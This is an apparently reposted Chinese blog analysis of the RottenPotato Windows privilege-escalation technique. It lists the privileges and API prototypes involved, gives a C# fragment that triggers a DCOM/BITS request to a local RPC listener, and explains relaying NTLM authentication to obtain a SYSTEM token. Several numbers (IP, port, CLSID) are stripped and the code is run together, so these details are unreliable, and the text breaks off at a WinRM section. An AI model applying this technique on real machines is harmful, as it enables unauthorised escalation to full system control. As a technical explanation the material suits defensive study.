山药

首页 » 常识 » 常识 » 烂土豆分析
TUhjnbcbe - 2021/3/2 0:25:00
土豆提权需要的权限及函数原型

SeImpersonatePrivilege

BOOLCreateProcessWithTokenW(HANDLEhToken,DWORDdwLogonFlags,LPCWSTRlpApplicationName,LPWSTRlpCommandLine,DWORDdwCreationFlags,LPVOIDlpEnvironment,LPCWSTRlpCurrentDirectory,LPSTARTUPINFOWlpStartupInfo,LPPROCESS_INFORMATIONlpProcessInformation);

SeAssignPrimaryTokenPrivilege

BOOLCreateProcessAsUserW(HANDLEhToken,LPCWSTRlpApplicationName,LPWSTRlpCommandLine,LPSECURITY_ATTRIBUTESlpProcessAttributes,LPSECURITY_ATTRIBUTESlpThreadAttributes,BOOLbInheritHandles,DWORDdwCreationFlags,LPVOIDlpEnvironment,LPCWSTRlpCurrentDirectory,LPSTARTUPINFOWlpStartupInfo,LPPROCESS_INFORMATIONlpProcessInformation);DCOM

Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero,true,outILockByteslockBytes);Ole32.StgCreateDocfileOnILockBytes(lockBytes,Ole32.STGM.CREATE

Ole32.STGM.READWRITE

Ole32.STGM.SHARE_EXCLUSIVE,0,outIStoragestorage);StorageTriggerstorageTrigger=newStorageTrigger(storage,string.Format(".0.0.1[{0}]",),TowerProtocol.EPM_PROTOCOL_TCP);Ole32.MULTI_QI[]qis=newOle32.MULTI_QI[1];qis[0].pIID=Ole32.IID_IUnknownPtr;Ole32.CoGetInstanceFromIStorage(null,refclsId,null,Ole32.CLSCTX.CLSCTX_LOCAL_SERVER,storageTrigger,1,qis);

这段代码是我告诉COM我要在ip为.0.0.1port为的RPC服务器加载BITS对象(d34b-80a1--83b6-b)

当创建对象时COM客户端会以SYSTEAM向我们上面自定义的RPC服务器进行请求

下面的图是调用流程

在协商之前我们需要调用AcquireCredentialsHandle函数来获取我们需要的CredHandle结构

接下来调用创建远程COM对象COM客户端回向我们发起第一次请求也就是Negotiate协商(ntlm阶段1)然后我们调用AcceptSecurityContext函数获取质询消息(ntlm阶段2)

然后我们连接RPC将客户端的Negotiate协商(ntlm阶段1)中继到RPC

要成功让客户端认证我们还需要替换把rpc的质询消息(阶段2)的NTLMSecureServiceProvider替换成我们调用AcceptSecurityContext返回的质询消息(阶段2)(这里其实不用中继到rpc可以自行实现rpc协议不过那样就有点太麻烦了)

当客户端进行身份认证(ntlm阶段3)消息响应时我们将阶段3的请求再次使用AcceptSecurityContext函数完成最终认证并调用QuerySecurityContextToken函数获取Token完成提权获取token流程

WimRM

在使用Activator创建Com对象(BITS)的时候Winrm客户端回向本机的端口发起

1
查看完整版本: 烂土豆分析